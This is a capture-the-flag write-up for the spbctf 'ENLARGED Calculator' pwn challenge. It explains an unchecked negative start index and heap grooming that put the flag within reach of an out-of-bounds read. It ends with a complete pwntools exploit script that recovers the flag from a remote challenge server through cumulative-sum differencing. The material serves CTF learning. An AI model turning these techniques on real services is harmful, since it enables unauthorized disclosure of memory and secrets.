pwn7 enlarged_calc (ENLARGED Calculator)
pwn7 enlarged_calc (ENLARGED Calculator)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: cumulative_sum_differencing, heap_layout_grooming, negative_index_oob_read
Summary
Task: x86-64 calculator pwn (NON-PIE, canary, NX) that loads flag.txt onto the heap; option B sets aggregate boundaries but only validates count<=start or end<0, allowing an unbounded NEGATIVE start. Solution: groom heap with 8 zeros so realloc moves the numbers buffer past the flag chunk, then leak each OOB int below the buffer via cumulative-sum differencing Sum(pos,0)-Sum(pos+1,0) to reassemble the flag in one connection.
pwn7 enlarged_calc — ENLARGED Calculator (spbctf)
Description
pwn7 "ENLARGED Calculator" —
nc 109.233.56.90 11718
An x86-64 menu-driven "calculator" binary (NON-PIE, Partial RELRO, stack canary, NX).
It reads flag.txt into a heap buffer at startup, then lets you build a list of
numbers and run aggregates (sum/average/product) over a chosen index range. The goal
is to disclose the flag with no memory corruption — purely via an out-of-bounds read.
This is the same family as the earlier "mc4" challenge, with two twists that make the flag land at a negative index relative to the numbers buffer.
Analysis
Startup heap state
At launch main performs (debug info present; source task8.c):
malloc(0)→ numbers buffer (stored at[rbp-0x40]), later grown viarealloc(count*4)fopen("flag.txt")malloc(0x40)→ flag buffer, thenfgets(flagbuf, 0x40, fp)
So the flag stays resident on the heap for the whole session.
Menu / aggregate loop
scanf("%1s") selects: a add (realloc, count+1), d delete, A average,
S sum, P product, B set working boundaries.
Aggregates iterate for (i = start; i <= end; i++) reading buf[i] as a 4-byte
SIGNED int (mov eax, [rax]). start and end live at [rbp-0x60]/[rbp-0x5c].
The bug (option B)
Boundary validation at 0x400d11..0x400d1e resets start/end to 0..count-1
only if:
(count <= start) OR (end < 0)
A negative start satisfies negative < count, so it passes the check — and
there is no lower bound on how negative it can be. The aggregate loop therefore
reads ints below the numbers buffer → OOB read primitive.
Why the flag is at a NEGATIVE index ("enlarged")
Two differences from the mc4 variant:
- Option B now requires
count > 7(cmp [rbp-0x54], 7; jle ...) → you must add 8 numbers before B is usable. - The numbers buffer is
realloc'd tocount*4bytes ("enlarged"). Growing it to 7+ entries forces a relocation to a fresh chunk that lands after the flag chunk.
Heap trace (LD_PRELOAD malloc log, 8 zero numbers, local):
malloc(0) -> 0x6032a0 numbers (initial)
malloc(472) -> 0x6032c0 fopen stdio buffer
malloc(64) -> 0x6034a0 FLAG buffer
realloc ... -> 0x6034f0 numbers (final, after relocation)
flag(0x6034a0) - numbers(0x6034f0) = -0x50 = -80 bytes = index -20 (4-byte ints).
So the flag occupies indices -20..-15. The remote layout is identical.
Solution
The B-check forbids end < 0, so we cannot simply set start=-20, end=-15. Instead
we fix end = 0 and vary start over negatives. Each call gives a cumulative sum
Sum(pos, 0). Differencing two adjacent sums isolates a single OOB int:
int_at(pos) = Sum(pos, 0) - Sum(pos+1, 0)
Because all 8 in-range numbers are 0, the in-range portion of every Sum(k,0) is
0, so each difference equals exactly one OOB 4-byte int. Reassemble the recovered
ints little-endian into bytes, then search for spbctf{.
Steps:
- Add 8 zeros (
a×8) to satisfycount > 7and keep all in-range sums at 0. - For each
kin[-48, 0], set boundariesB(k, 0)and readS→Sum(k,0). - Compute
int_at(pos) = Sum(pos,0) - Sum(pos+1,0)for each adjacent pair. - Pack ints little-endian, scan for the flag.
Solved on the first remote connection.
python read-only • copy allowed#!/usr/bin/env python3 # Exploit for pwn7 enlarged_calc "ENLARGED Calculator" (spbctf) from pwn import * import sys context.log_level = 'info' def setup(io, n): io.recvuntil(b'choice: ') for _ in range(n): io.sendline(b'a') io.recvuntil(b'to add: ') io.sendline(b'0') io.recvuntil(b'choice: ') def set_b(io, start, end): io.sendline(b'B') io.recvuntil(b'starting position: ') io.sendline(str(start).encode()) io.recvuntil(b'ending position: ') io.sendline(str(end).encode()) io.recvuntil(b'choice: ') def summ(io, start, end): set_b(io, start, end) io.sendline(b'S') io.recvuntil(b'Sum is: ') v = int(io.recvline().strip()) io.recvuntil(b'choice: ') return v def find_flag(data): for tag in (b'spbctf{', b'SPBCTF{'): i = data.find(tag) if i != -1: j = data.find(b'}', i) return (data[i:j+1] if j != -1 else data[i:i+64]).decode('latin1') return None def solve(io, lo=-48, hi=0): setup(io, 8) cum = {k: summ(io, k, 0) for k in range(lo, hi + 1)} # cumulative sums Sum(k,0) data = bytearray() for pos in range(lo, hi): v = (cum[pos] - cum[pos + 1]) & 0xffffffff # isolate one OOB int data += v.to_bytes(4, 'little') log.info("dumped bytes: %r", bytes(data)) return find_flag(bytes(data)) if __name__ == '__main__': where = sys.argv[1] if len(sys.argv) > 1 else 'remote' io = process('./enlarged.elf') if where == 'local' else remote('109.233.56.90', 11718) flag = solve(io) io.close() if flag: log.success("FLAG: %s", flag) print(flag) else: log.failure("flag not found in scanned window")